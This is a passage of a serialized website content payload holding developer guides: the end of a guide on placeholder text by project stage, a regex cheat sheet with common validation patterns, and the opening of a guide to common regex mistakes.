-->\n\u003Cp dir=\"rtl\">نص توضيحي هنا\u003C\u002Fp>\n",[143,291209,291210,291215,291220],{"__ignoreMap":141},[1560,291211,291212],{"class":1562,"line":1563},[1560,291213,291214],{"class":1649},"\u003C!-- Test with Arabic placeholder for RTL -->\n",[1560,291216,291217],{"class":1562,"line":337},[1560,291218,291219],{"class":1649},"\u003C!-- \"نص توضيحي هنا\" = \"Sample text here\" -->\n",[1560,291221,291222,291224,291226,291229,291231,291234,291237,291239],{"class":1562,"line":343},[1560,291223,6431],{"class":1570},[1560,291225,16],{"class":2484},[1560,291227,291228],{"class":1566}," dir",[1560,291230,7297],{"class":1570},[1560,291232,291233],{"class":5634},"\"rtl\"",[1560,291235,291236],{"class":1570},">نص توضيحي هنا\u003C\u002F",[1560,291238,16],{"class":2484},[1560,291240,6441],{"class":1570},[11,291242,291244],{"id":291243},"best-practices-by-project-stage","Best Practices by Project Stage",[33,291246,291248],{"id":291247},"stage-1-wireframing-low-fidelity","Stage 1: Wireframing (Low Fidelity)",[16,291250,291251,291254],{},[47,291252,291253],{},"Recommended:"," Simple character repetition or very short Lorem Ipsum",[41,291256,291257,291260,291263],{},[44,291258,291259],{},"Focus on layout, not content",[44,291261,291262],{},"Use boxes and lines more than text",[44,291264,291265],{},"Purposefully ugly to avoid premature discussions about wording",[135,291267,291269],{"className":6417,"code":291268,"language":6419,"meta":141,"style":141},"\u003C!-- Wireframe placeholder -->\n\u003Cdiv class=\"placeholder-box\">\n  \u003Cdiv class=\"line\" style=\"width: 80%\">\u003C\u002Fdiv>\n  \u003Cdiv class=\"line\" style=\"width: 60%\">\u003C\u002Fdiv>\n  \u003Cdiv class=\"line\" style=\"width: 90%\">\u003C\u002Fdiv>\n\u003C\u002Fdiv>\n",[143,291270,291271,291276,291291,291317,291342,291367],{"__ignoreMap":141},[1560,291272,291273],{"class":1562,"line":1563},[1560,291274,291275],{"class":1649},"\u003C!-- Wireframe placeholder -->\n",[1560,291277,291278,291280,291282,291284,291286,291289],{"class":1562,"line":337},[1560,291279,6431],{"class":1570},[1560,291281,7291],{"class":2484},[1560,291283,11423],{"class":1566},[1560,291285,7297],{"class":1570},[1560,291287,291288],{"class":5634},"\"placeholder-box\"",[1560,291290,6441],{"class":1570},[1560,291292,291293,291295,291297,291299,291301,291304,291306,291308,291311,291313,291315],{"class":1562,"line":343},[1560,291294,11223],{"class":1570},[1560,291296,7291],{"class":2484},[1560,291298,11423],{"class":1566},[1560,291300,7297],{"class":1570},[1560,291302,291303],{"class":5634},"\"line\"",[1560,291305,11449],{"class":1566},[1560,291307,7297],{"class":1570},[1560,291309,291310],{"class":5634},"\"width: 80%\"",[1560,291312,12441],{"class":1570},[1560,291314,7291],{"class":2484},[1560,291316,6441],{"class":1570},[1560,291318,291319,291321,291323,291325,291327,291329,291331,291333,291336,291338,291340],{"class":1562,"line":365},[1560,291320,11223],{"class":1570},[1560,291322,7291],{"class":2484},[1560,291324,11423],{"class":1566},[1560,291326,7297],{"class":1570},[1560,291328,291303],{"class":5634},[1560,291330,11449],{"class":1566},[1560,291332,7297],{"class":1570},[1560,291334,291335],{"class":5634},"\"width: 60%\"",[1560,291337,12441],{"class":1570},[1560,291339,7291],{"class":2484},[1560,291341,6441],{"class":1570},[1560,291343,291344,291346,291348,291350,291352,291354,291356,291358,291361,291363,291365],{"class":1562,"line":889},[1560,291345,11223],{"class":1570},[1560,291347,7291],{"class":2484},[1560,291349,11423],{"class":1566},[1560,291351,7297],{"class":1570},[1560,291353,291303],{"class":5634},[1560,291355,11449],{"class":1566},[1560,291357,7297],{"class":1570},[1560,291359,291360],{"class":5634},"\"width: 90%\"",[1560,291362,12441],{"class":1570},[1560,291364,7291],{"class":2484},[1560,291366,6441],{"class":1570},[1560,291368,291369,291371,291373],{"class":1562,"line":1710},[1560,291370,11242],{"class":1570},[1560,291372,7291],{"class":2484},[1560,291374,6441],{"class":1570},[33,291376,291378],{"id":291377},"stage-2-visual-design-high-fidelity","Stage 2: Visual Design (High Fidelity)",[16,291380,291381,291383],{},[47,291382,291253],{}," Lorem Ipsum or generated paragraphs",[41,291385,291386,291389,291392],{},[44,291387,291388],{},"Test typography, spacing, and visual hierarchy",[44,291390,291391],{},"Use realistic word counts",[44,291393,291394],{},"Begin testing dark mode and responsive behavior",[33,291396,291398],{"id":291397},"stage-3-prototyping-interactive","Stage 3: Prototyping (Interactive)",[16,291400,291401,291403],{},[47,291402,291253],{}," Contextual placeholders or AI-generated content",[41,291405,291406,291409,291412],{},[44,291407,291408],{},"Stakeholders should see near-realistic content",[44,291410,291411],{},"Test user flows with believable scenarios",[44,291413,291414],{},"Prepare for user testing",[33,291416,291418],{"id":291417},"stage-4-development","Stage 4: Development",[16,291420,291421,291423],{},[47,291422,291253],{}," Real content when possible, contextual placeholders otherwise",[41,291425,291426,291429,291432],{},[44,291427,291428],{},"Use actual API responses or CMS content",[44,291430,291431],{},"Document placeholder content requirements",[44,291433,291434],{},"Create a \"content complete\" checklist",[135,291436,291438],{"className":1607,"code":291437,"language":1609,"meta":141,"style":141},"\u002F\u002F Component with clear placeholder indication\n\u002F\u002F Good: clearly marked\nconst BlogCard = ({ title = \"Placeholder Title\", excerpt = \"Lorem ipsum...\" }) => {\n  const isPlaceholder = title === \"Placeholder Title\"\n  return (\n    \u003Cdiv className={isPlaceholder ? 'opacity-50' : ''}>\n      \u003Ch2>{title}\u003C\u002Fh2>\n      \u003Cp>{excerpt}\u003C\u002Fp>\n    \u003C\u002Fdiv>\n  )\n}\n",[143,291439,291440,291445,291450,291486,291503,291509,291535,291548,291561,291569,291573],{"__ignoreMap":141},[1560,291441,291442],{"class":1562,"line":1563},[1560,291443,291444],{"class":1649},"\u002F\u002F Component with clear placeholder indication\n",[1560,291446,291447],{"class":1562,"line":337},[1560,291448,291449],{"class":1649},"\u002F\u002F Good: clearly marked\n",[1560,291451,291452,291454,291457,291459,291462,291464,291466,291469,291471,291474,291476,291479,291482,291484],{"class":1562,"line":343},[1560,291453,8180],{"class":1669},[1560,291455,291456],{"class":1566}," BlogCard",[1560,291458,8186],{"class":1669},[1560,291460,291461],{"class":1570}," ({ ",[1560,291463,108868],{"class":2219},[1560,291465,8186],{"class":1669},[1560,291467,291468],{"class":5634}," \"Placeholder Title\"",[1560,291470,1459],{"class":1570},[1560,291472,291473],{"class":2219},"excerpt",[1560,291475,8186],{"class":1669},[1560,291477,291478],{"class":5634}," \"Lorem ipsum...\"",[1560,291480,291481],{"class":1570}," }) ",[1560,291483,11503],{"class":1669},[1560,291485,1571],{"class":1570},[1560,291487,291488,291490,291493,291495,291498,291500],{"class":1562,"line":365},[1560,291489,28057],{"class":1669},[1560,291491,291492],{"class":1576}," isPlaceholder",[1560,291494,8186],{"class":1669},[1560,291496,291497],{"class":1570}," title ",[1560,291499,23122],{"class":1669},[1560,291501,291502],{"class":5634}," \"Placeholder Title\"\n",[1560,291504,291505,291507],{"class":1562,"line":889},[1560,291506,9350],{"class":1669},[1560,291508,135687],{"class":1570},[1560,291510,291511,291513,291515,291518,291520,291523,291525,291528,291530,291532],{"class":1562,"line":1710},[1560,291512,12292],{"class":1570},[1560,291514,7291],{"class":2484},[1560,291516,291517],{"class":1566}," className",[1560,291519,7297],{"class":1669},[1560,291521,291522],{"class":1570},"{isPlaceholder ",[1560,291524,33994],{"class":1669},[1560,291526,291527],{"class":5634}," 'opacity-50'",[1560,291529,22769],{"class":1669},[1560,291531,81655],{"class":5634},[1560,291533,291534],{"class":1570},"}>\n",[1560,291536,291537,291539,291541,291544,291546],{"class":1562,"line":1717},[1560,291538,124434],{"class":1570},[1560,291540,11],{"class":2484},[1560,291542,291543],{"class":1570},">{title}\u003C\u002F",[1560,291545,11],{"class":2484},[1560,291547,6441],{"class":1570},[1560,291549,291550,291552,291554,291557,291559],{"class":1562,"line":1747},[1560,291551,124434],{"class":1570},[1560,291553,16],{"class":2484},[1560,291555,291556],{"class":1570},">{excerpt}\u003C\u002F",[1560,291558,16],{"class":2484},[1560,291560,6441],{"class":1570},[1560,291562,291563,291565,291567],{"class":1562,"line":2507},[1560,291564,124461],{"class":1570},[1560,291566,7291],{"class":2484},[1560,291568,6441],{"class":1570},[1560,291570,291571],{"class":1562,"line":2524},[1560,291572,139180],{"class":1570},[1560,291574,291575],{"class":1562,"line":2529},[1560,291576,1585],{"class":1570},[11,291578,291580],{"id":291579},"placeholder-text-generators-and-tools","Placeholder Text Generators and Tools",[193,291582,291583,291593],{},[196,291584,291585],{},[199,291586,291587,291589,291591],{},[202,291588,751],{},[202,291590,34969],{},[202,291592,489],{},[211,291594,291595,291605,291615,291626,291636,291646],{},[199,291596,291597,291599,291602],{},[216,291598,6789],{},[216,291600,291601],{},"Traditional",[216,291603,291604],{},"Quick paragraphs",[199,291606,291607,291609,291612],{},[216,291608,6738],{},[216,291610,291611],{},"Programmatic",[216,291613,291614],{},"Realistic fake data",[199,291616,291617,291620,291623],{},[216,291618,291619],{},"Content Reel (Figma)",[216,291621,291622],{},"Design tool plugin",[216,291624,291625],{},"Contextual design content",[199,291627,291628,291631,291633],{},[216,291629,291630],{},"Unsplash\u002FPicsum",[216,291632,132950],{},[216,291634,291635],{},"Placeholder images",[199,291637,291638,291640,291643],{},[216,291639,284732],{},[216,291641,291642],{},"AI-generated",[216,291644,291645],{},"Domain-specific content",[199,291647,291648,291651,291654],{},[216,291649,291650],{},"Bored API",[216,291652,291653],{},"Random data",[216,291655,291656],{},"Unique placeholder text",[33,291658,291660],{"id":291659},"using-fakerjs-in-development","Using Faker.js in Development",[135,291662,291664],{"className":1607,"code":291663,"language":1609,"meta":141,"style":141},"import { faker } from '@faker-js\u002Ffaker'\n\nconst mockData = {\n  title: faker.lorem.sentence(),\n  excerpt: faker.lorem.paragraph(),\n  author: faker.person.fullName(),\n  date: faker.date.recent().toLocaleDateString(),\n  image: faker.image.url(),\n}\n\n\u002F\u002F Generate 10 blog posts\nconst blogPosts = Array.from({ length: 10 }, () => ({\n  title: faker.lorem.sentence({ min: 4, max: 8 }),\n  excerpt: faker.lorem.paragraph({ min: 2, max: 4 }),\n}))\n",[143,291665,291666,291677,291681,291692,291701,291710,291720,291734,291743,291747,291751,291756,291780,291799,291815],{"__ignoreMap":141},[1560,291667,291668,291670,291672,291674],{"class":1562,"line":1563},[1560,291669,8162],{"class":1669},[1560,291671,284836],{"class":1570},[1560,291673,8168],{"class":1669},[1560,291675,291676],{"class":5634}," '@faker-js\u002Ffaker'\n",[1560,291678,291679],{"class":1562,"line":337},[1560,291680,1702],{"emptyLinePlaceholder":363},[1560,291682,291683,291685,291688,291690],{"class":1562,"line":343},[1560,291684,8180],{"class":1669},[1560,291686,291687],{"class":1576}," mockData",[1560,291689,8186],{"class":1669},[1560,291691,1571],{"class":1570},[1560,291693,291694,291697,291699],{"class":1562,"line":365},[1560,291695,291696],{"class":1570},"  title: faker.lorem.",[1560,291698,284878],{"class":1566},[1560,291700,176774],{"class":1570},[1560,291702,291703,291706,291708],{"class":1562,"line":889},[1560,291704,291705],{"class":1570},"  excerpt: faker.lorem.",[1560,291707,284862],{"class":1566},[1560,291709,176774],{"class":1570},[1560,291711,291712,291715,291718],{"class":1562,"line":1710},[1560,291713,291714],{"class":1570},"  author: faker.person.",[1560,291716,291717],{"class":1566},"fullName",[1560,291719,176774],{"class":1570},[1560,291721,291722,291725,291728,291730,291732],{"class":1562,"line":1717},[1560,291723,291724],{"class":1570},"  date: faker.date.",[1560,291726,291727],{"class":1566},"recent",[1560,291729,42138],{"class":1570},[1560,291731,88465],{"class":1566},[1560,291733,176774],{"class":1570},[1560,291735,291736,291739,291741],{"class":1562,"line":1747},[1560,291737,291738],{"class":1570},"  image: faker.image.",[1560,291740,11310],{"class":1566},[1560,291742,176774],{"class":1570},[1560,291744,291745],{"class":1562,"line":2507},[1560,291746,1585],{"class":1570},[1560,291748,291749],{"class":1562,"line":2524},[1560,291750,1702],{"emptyLinePlaceholder":363},[1560,291752,291753],{"class":1562,"line":2529},[1560,291754,291755],{"class":1649},"\u002F\u002F Generate 10 blog posts\n",[1560,291757,291758,291760,291763,291765,291767,291769,291771,291773,291776,291778],{"class":1562,"line":2534},[1560,291759,8180],{"class":1669},[1560,291761,291762],{"class":1576}," blogPosts",[1560,291764,8186],{"class":1669},[1560,291766,23043],{"class":1570},[1560,291768,8168],{"class":1566},[1560,291770,23048],{"class":1570},[1560,291772,36197],{"class":1576},[1560,291774,291775],{"class":1570}," }, () ",[1560,291777,11503],{"class":1669},[1560,291779,23067],{"class":1570},[1560,291781,291782,291784,291786,291789,291791,291794,291796],{"class":1562,"line":2542},[1560,291783,291696],{"class":1570},[1560,291785,284878],{"class":1566},[1560,291787,291788],{"class":1570},"({ min: ",[1560,291790,12546],{"class":1576},[1560,291792,291793],{"class":1570},", max: ",[1560,291795,10078],{"class":1576},[1560,291797,291798],{"class":1570}," }),\n",[1560,291800,291801,291803,291805,291807,291809,291811,291813],{"class":1562,"line":2558},[1560,291802,291705],{"class":1570},[1560,291804,284862],{"class":1566},[1560,291806,291788],{"class":1570},[1560,291808,10099],{"class":1576},[1560,291810,291793],{"class":1570},[1560,291812,12546],{"class":1576},[1560,291814,291798],{"class":1570},[1560,291816,291817],{"class":1562,"line":2570},[1560,291818,291819],{"class":1570},"}))\n",[11,291821,291823],{"id":291822},"the-future-content-first-design","The Future: Content-First Design",[16,291825,291826],{},"Modern web design increasingly adopts a \"content-first\" approach, where placeholder text becomes less necessary:",[77,291828,291829,291835,291841,291846],{},[44,291830,291831,291834],{},[47,291832,291833],{},"Start with real content"," when possible",[44,291836,291837,291840],{},[47,291838,291839],{},"Use CMS content"," during design phase",[44,291842,291843,291845],{},[47,291844,6680],{}," include content guidelines",[44,291847,291848,291851],{},[47,291849,291850],{},"Component-driven development"," uses realistic examples",[135,291853,291855],{"className":1607,"code":291854,"language":1609,"meta":141,"style":141},"\u002F\u002F In a content-first workflow, your component might look like:\nconst TestimonialCard = ({ quote, author, role }) => (\n  \u003Cblockquote>\n    \u003Cp>\"{quote}\"\u003C\u002Fp>\n    \u003Cfooter>\n      \u003Ccite>{author}\u003C\u002Fcite>, {role}\n    \u003C\u002Ffooter>\n  \u003C\u002Fblockquote>\n)\n\n\u002F\u002F With real or realistic props from the start:\n\u003CTestimonialCard \n  quote=\"This product transformed our workflow completely.\"\n  author=\"Jane Smith\"\n  role=\"CTO, TechCorp\"\n\u002F>\n",[143,291856,291857,291862,291890,291898,291911,291919,291934,291942,291950,291954,291958,291963,291973,291983,291992,292002],{"__ignoreMap":141},[1560,291858,291859],{"class":1562,"line":1563},[1560,291860,291861],{"class":1649},"\u002F\u002F In a content-first workflow, your component might look like:\n",[1560,291863,291864,291866,291869,291871,291873,291876,291878,291880,291882,291884,291886,291888],{"class":1562,"line":337},[1560,291865,8180],{"class":1669},[1560,291867,291868],{"class":1566}," TestimonialCard",[1560,291870,8186],{"class":1669},[1560,291872,291461],{"class":1570},[1560,291874,291875],{"class":2219},"quote",[1560,291877,1459],{"class":1570},[1560,291879,149566],{"class":2219},[1560,291881,1459],{"class":1570},[1560,291883,138405],{"class":2219},[1560,291885,291481],{"class":1570},[1560,291887,11503],{"class":1669},[1560,291889,135687],{"class":1570},[1560,291891,291892,291894,291896],{"class":1562,"line":343},[1560,291893,11223],{"class":1570},[1560,291895,95741],{"class":2484},[1560,291897,6441],{"class":1570},[1560,291899,291900,291902,291904,291907,291909],{"class":1562,"line":365},[1560,291901,12292],{"class":1570},[1560,291903,16],{"class":2484},[1560,291905,291906],{"class":1570},">\"{quote}\"\u003C\u002F",[1560,291908,16],{"class":2484},[1560,291910,6441],{"class":1570},[1560,291912,291913,291915,291917],{"class":1562,"line":889},[1560,291914,12292],{"class":1570},[1560,291916,61179],{"class":2484},[1560,291918,6441],{"class":1570},[1560,291920,291921,291923,291926,291929,291931],{"class":1562,"line":1710},[1560,291922,124434],{"class":1570},[1560,291924,291925],{"class":2484},"cite",[1560,291927,291928],{"class":1570},">{author}\u003C\u002F",[1560,291930,291925],{"class":2484},[1560,291932,291933],{"class":1570},">, {role}\n",[1560,291935,291936,291938,291940],{"class":1562,"line":1717},[1560,291937,124461],{"class":1570},[1560,291939,61179],{"class":2484},[1560,291941,6441],{"class":1570},[1560,291943,291944,291946,291948],{"class":1562,"line":1747},[1560,291945,12331],{"class":1570},[1560,291947,95741],{"class":2484},[1560,291949,6441],{"class":1570},[1560,291951,291952],{"class":1562,"line":2507},[1560,291953,8252],{"class":1570},[1560,291955,291956],{"class":1562,"line":2524},[1560,291957,1702],{"emptyLinePlaceholder":363},[1560,291959,291960],{"class":1562,"line":2529},[1560,291961,291962],{"class":1649},"\u002F\u002F With real or realistic props from the start:\n",[1560,291964,291965,291967,291970],{"class":1562,"line":2534},[1560,291966,6431],{"class":1570},[1560,291968,291969],{"class":1576},"TestimonialCard",[1560,291971,291972],{"class":1570}," \n",[1560,291974,291975,291978,291980],{"class":1562,"line":2542},[1560,291976,291977],{"class":1566},"  quote",[1560,291979,7297],{"class":1669},[1560,291981,291982],{"class":5634},"\"This product transformed our workflow completely.\"\n",[1560,291984,291985,291988,291990],{"class":1562,"line":2558},[1560,291986,291987],{"class":1566},"  author",[1560,291989,7297],{"class":1669},[1560,291991,243438],{"class":5634},[1560,291993,291994,291997,291999],{"class":1562,"line":2570},[1560,291995,291996],{"class":1566},"  role",[1560,291998,7297],{"class":1669},[1560,292000,292001],{"class":5634},"\"CTO, TechCorp\"\n",[1560,292003,292004],{"class":1562,"line":6638},[1560,292005,11237],{"class":1570},[11,292007,257800],{"id":257799},[41,292009,292010],{},[44,292011,292012,292014],{},[98,292013,6789],{"href":6788}," - Generate customizable placeholder text",[2043,292016,292017],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":292019},[292020,292021,292027,292032,292038,292044,292047,292048],{"id":290457,"depth":337,"text":290458},{"id":290467,"depth":337,"text":290468,"children":292022},[292023,292024,292025,292026],{"id":290471,"depth":343,"text":290472},{"id":290549,"depth":343,"text":290550},{"id":290682,"depth":343,"text":290683},{"id":290737,"depth":343,"text":290738},{"id":290789,"depth":337,"text":290790,"children":292028},[292029,292030,292031],{"id":156194,"depth":343,"text":156195},{"id":156216,"depth":343,"text":156217},{"id":156223,"depth":343,"text":156224},{"id":7382,"depth":337,"text":7383,"children":292033},[292034,292035,292036,292037],{"id":290921,"depth":343,"text":290922},{"id":291112,"depth":343,"text":291113},{"id":291181,"depth":343,"text":291182},{"id":291200,"depth":343,"text":291201},{"id":291243,"depth":337,"text":291244,"children":292039},[292040,292041,292042,292043],{"id":291247,"depth":343,"text":291248},{"id":291377,"depth":343,"text":291378},{"id":291397,"depth":343,"text":291398},{"id":291417,"depth":343,"text":291418},{"id":291579,"depth":337,"text":291580,"children":292045},[292046],{"id":291659,"depth":343,"text":291660},{"id":291822,"depth":337,"text":291823},{"id":257799,"depth":337,"text":257800},"Learn the best practices for placeholder text in design and development. Compare Lorem Ipsum, real content, and AI-generated text for different project stages.",{"immutable":363},{"title":290452,"description":292049},"guides\u002Fplaceholder-text-best-practices","Vmsdb_58boNQJiizcV0XXHzCVyCo9USvHrHa-adhh_Q",{"id":292055,"title":292056,"body":292057,"date":257855,"description":292538,"extension":361,"meta":292539,"navigation":363,"path":292540,"readingTime":1710,"seo":292541,"stem":292542,"__hash__":292543},"guides\u002Fguides\u002Fregex-cheat-sheet.md","Regex Cheat Sheet — Complete Pattern Reference",{"type":8,"value":292058,"toc":292529},[292059,292063,292178,292182,292270,292274,292323,292327,292419,292422,292487,292491,292515,292522,292524],[11,292060,292062],{"id":292061},"character-classes","Character Classes",[193,292064,292065,292073],{},[196,292066,292067],{},[199,292068,292069,292071],{},[202,292070,18376],{},[202,292072,4228],{},[211,292074,292075,292084,292096,292108,292120,292130,292139,292149,292159,292169],{},[199,292076,292077,292081],{},[216,292078,292079],{},[143,292080,468],{},[216,292082,292083],{},"Any character except newline",[199,292085,292086,292090],{},[216,292087,292088],{},[143,292089,157302],{},[216,292091,292092,292093],{},"Digit ",[143,292094,292095],{},"[0-9]",[199,292097,292098,292102],{},[216,292099,292100],{},[143,292101,157313],{},[216,292103,292104,292105],{},"Non-digit ",[143,292106,292107],{},"[^0-9]",[199,292109,292110,292114],{},[216,292111,292112],{},[143,292113,267786],{},[216,292115,292116,292117],{},"Word character ",[143,292118,292119],{},"[a-zA-Z0-9_]",[199,292121,292122,292127],{},[216,292123,292124],{},[143,292125,292126],{},"\\W",[216,292128,292129],{},"Non-word character",[199,292131,292132,292136],{},[216,292133,292134],{},[143,292135,185714],{},[216,292137,292138],{},"Whitespace (space, tab, newline)",[199,292140,292141,292146],{},[216,292142,292143],{},[143,292144,292145],{},"\\S",[216,292147,292148],{},"Non-whitespace",[199,292150,292151,292156],{},[216,292152,292153],{},[143,292154,292155],{},"[abc]",[216,292157,292158],{},"Any character in set",[199,292160,292161,292166],{},[216,292162,292163],{},[143,292164,292165],{},"[^abc]",[216,292167,292168],{},"Any character NOT in set",[199,292170,292171,292175],{},[216,292172,292173],{},[143,292174,38854],{},[216,292176,292177],{},"Character range",[11,292179,292181],{"id":292180},"quantifiers","Quantifiers",[193,292183,292184,292192],{},[196,292185,292186],{},[199,292187,292188,292190],{},[202,292189,18376],{},[202,292191,4228],{},[211,292193,292194,292203,292212,292221,292231,292241,292251,292260],{},[199,292195,292196,292200],{},[216,292197,292198],{},[143,292199,8069],{},[216,292201,292202],{},"Zero or more",[199,292204,292205,292209],{},[216,292206,292207],{},[143,292208,9448],{},[216,292210,292211],{},"One or more",[199,292213,292214,292218],{},[216,292215,292216],{},[143,292217,33994],{},[216,292219,292220],{},"Zero or one (optional)",[199,292222,292223,292228],{},[216,292224,292225],{},[143,292226,292227],{},"{n}",[216,292229,292230],{},"Exactly n times",[199,292232,292233,292238],{},[216,292234,292235],{},[143,292236,292237],{},"{n,}",[216,292239,292240],{},"n or more times",[199,292242,292243,292248],{},[216,292244,292245],{},[143,292246,292247],{},"{n,m}",[216,292249,292250],{},"Between n and m times",[199,292252,292253,292257],{},[216,292254,292255],{},[143,292256,182080],{},[216,292258,292259],{},"Zero or more (lazy)",[199,292261,292262,292267],{},[216,292263,292264],{},[143,292265,292266],{},"+?",[216,292268,292269],{},"One or more (lazy)",[11,292271,292273],{"id":292272},"anchors","Anchors",[193,292275,292276,292284],{},[196,292277,292278],{},[199,292279,292280,292282],{},[202,292281,18376],{},[202,292283,4228],{},[211,292285,292286,292295,292304,292313],{},[199,292287,292288,292292],{},[216,292289,292290],{},[143,292291,38799],{},[216,292293,292294],{},"Start of string\u002Fline",[199,292296,292297,292301],{},[216,292298,292299],{},[143,292300,11938],{},[216,292302,292303],{},"End of string\u002Fline",[199,292305,292306,292310],{},[216,292307,292308],{},[143,292309,267781],{},[216,292311,292312],{},"Word boundary",[199,292314,292315,292320],{},[216,292316,292317],{},[143,292318,292319],{},"\\B",[216,292321,292322],{},"Non-word boundary",[11,292324,292326],{"id":292325},"groups-and-references","Groups and References",[193,292328,292329,292337],{},[196,292330,292331],{},[199,292332,292333,292335],{},[202,292334,18376],{},[202,292336,4228],{},[211,292338,292339,292349,292359,292369,292379,292389,292399,292409],{},[199,292340,292341,292346],{},[216,292342,292343],{},[143,292344,292345],{},"(abc)",[216,292347,292348],{},"Capturing group",[199,292350,292351,292356],{},[216,292352,292353],{},[143,292354,292355],{},"(?:abc)",[216,292357,292358],{},"Non-capturing group",[199,292360,292361,292366],{},[216,292362,292363],{},[143,292364,292365],{},"(?\u003Cname>abc)",[216,292367,292368],{},"Named capturing group",[199,292370,292371,292376],{},[216,292372,292373],{},[143,292374,292375],{},"\\1",[216,292377,292378],{},"Backreference to group 1",[199,292380,292381,292386],{},[216,292382,292383],{},[143,292384,292385],{},"(?=abc)",[216,292387,292388],{},"Lookahead",[199,292390,292391,292396],{},[216,292392,292393],{},[143,292394,292395],{},"(?!abc)",[216,292397,292398],{},"Negative lookahead",[199,292400,292401,292406],{},[216,292402,292403],{},[143,292404,292405],{},"(?\u003C=abc)",[216,292407,292408],{},"Lookbehind",[199,292410,292411,292416],{},[216,292412,292413],{},[143,292414,292415],{},"(?\u003C!abc)",[216,292417,292418],{},"Negative lookbehind",[11,292420,96397],{"id":292421},"flags",[193,292423,292424,292432],{},[196,292425,292426],{},[199,292427,292428,292430],{},[202,292429,149504],{},[202,292431,4228],{},[211,292433,292434,292443,292452,292466,292478],{},[199,292435,292436,292440],{},[216,292437,292438],{},[143,292439,22733],{},[216,292441,292442],{},"Global — find all matches",[199,292444,292445,292449],{},[216,292446,292447],{},[143,292448,7975],{},[216,292450,292451],{},"Case-insensitive",[199,292453,292454,292458],{},[216,292455,292456],{},[143,292457,183783],{},[216,292459,292460,292461,9423,292463,292465],{},"Multiline — ",[143,292462,38799],{},[143,292464,11938],{}," match line boundaries",[199,292467,292468,292472],{},[216,292469,292470],{},[143,292471,18727],{},[216,292473,292474,292475,292477],{},"Dotall — ",[143,292476,468],{}," matches newline",[199,292479,292480,292484],{},[216,292481,292482],{},[143,292483,25570],{},[216,292485,292486],{},"Unicode support",[11,292488,292490],{"id":292489},"common-patterns","Common Patterns",[41,292492,292493,292500,292507],{},[44,292494,292495,1663,292497],{},[47,292496,97854],{},[143,292498,292499],{},"\u002F^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$\u002F",[44,292501,292502,1663,292504],{},[47,292503,100905],{},[143,292505,292506],{},"\u002F^https?:\\\u002F\\\u002F.+\u002F",[44,292508,292509,1663,292512],{},[47,292510,292511],{},"IP Address",[143,292513,292514],{},"\u002F^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$\u002F",[16,292516,292517,292518,292521],{},"See ",[98,292519,292520],{"href":268298},"20 Useful Regex Patterns"," for more examples.",[11,292523,286],{"id":285},[16,292525,29979,292526,292528],{},[98,292527,86882],{"href":87094}," to test and debug regex patterns in real time.",{"title":141,"searchDepth":337,"depth":337,"links":292530},[292531,292532,292533,292534,292535,292536,292537],{"id":292061,"depth":337,"text":292062},{"id":292180,"depth":337,"text":292181},{"id":292272,"depth":337,"text":292273},{"id":292325,"depth":337,"text":292326},{"id":292421,"depth":337,"text":96397},{"id":292489,"depth":337,"text":292490},{"id":285,"depth":337,"text":286},"Complete regex cheat sheet with character classes, quantifiers, anchors, groups, and flags. Quick reference for developers.",{"immutable":363},"\u002Fguides\u002Fregex-cheat-sheet",{"title":292056,"description":292538},"guides\u002Fregex-cheat-sheet","hS4eQaEZwwmS0ax6MDgrL09KHtVLWVuL7i1h2j5kHBM",{"id":292545,"title":292546,"body":292547,"date":257855,"description":295127,"extension":361,"meta":295128,"navigation":363,"path":251978,"readingTime":2507,"seo":295129,"stem":295130,"__hash__":295131},"guides\u002Fguides\u002Fregex-common-pitfalls.md","10 Common Regex Mistakes and How to Avoid Them",{"type":8,"value":292548,"toc":295079},[292549,292551,292554,292557,292568,292572,292574,292577,292656,292658,292664,292740,292746,292793,292797,292800,292829,292890,292892,292898,293055,293059,293062,293065,293137,293140,293143,293273,293277,293280,293283,293347,293350,293353,293445,293452,293455,293461,293535,293538,293546,293657,293661,293664,293667,293734,293737,293742,293810,293814,293817,293820,293939,293942,293949,294041,294045,294048,294055,294124,294127,294136,294227,294231,294234,294237,294296,294299,294304,294402,294406,294409,294412,294500,294503,294506,294611,294615,294760,294764,294767,294793,295008,295010,295013,295049,295055,295057,295076],[11,292550,2776],{"id":256641},[16,292552,292553],{},"Regular expressions are powerful but notoriously easy to get wrong. Even experienced developers make mistakes that lead to incorrect matches, security vulnerabilities, or performance issues. This guide covers the 10 most common regex mistakes and how to fix them.",[16,292555,292556],{},"Each mistake includes:",[41,292558,292559,292562,292565],{},[44,292560,292561],{},"❌ The problematic pattern",[44,292563,292564],{},"✅ The correct approach",[44,292566,292567],{},"💡 Why it matters",[11,292569,292571],{"id":292570},"mistake-1-greedy-matching-when-you-need-lazy","Mistake 1: Greedy Matching When You Need Lazy",[33,292573,238776],{"id":238775},[16,292575,292576],{},"By default, quantifiers are greedy — they match as much as possible. This often leads to matching more than 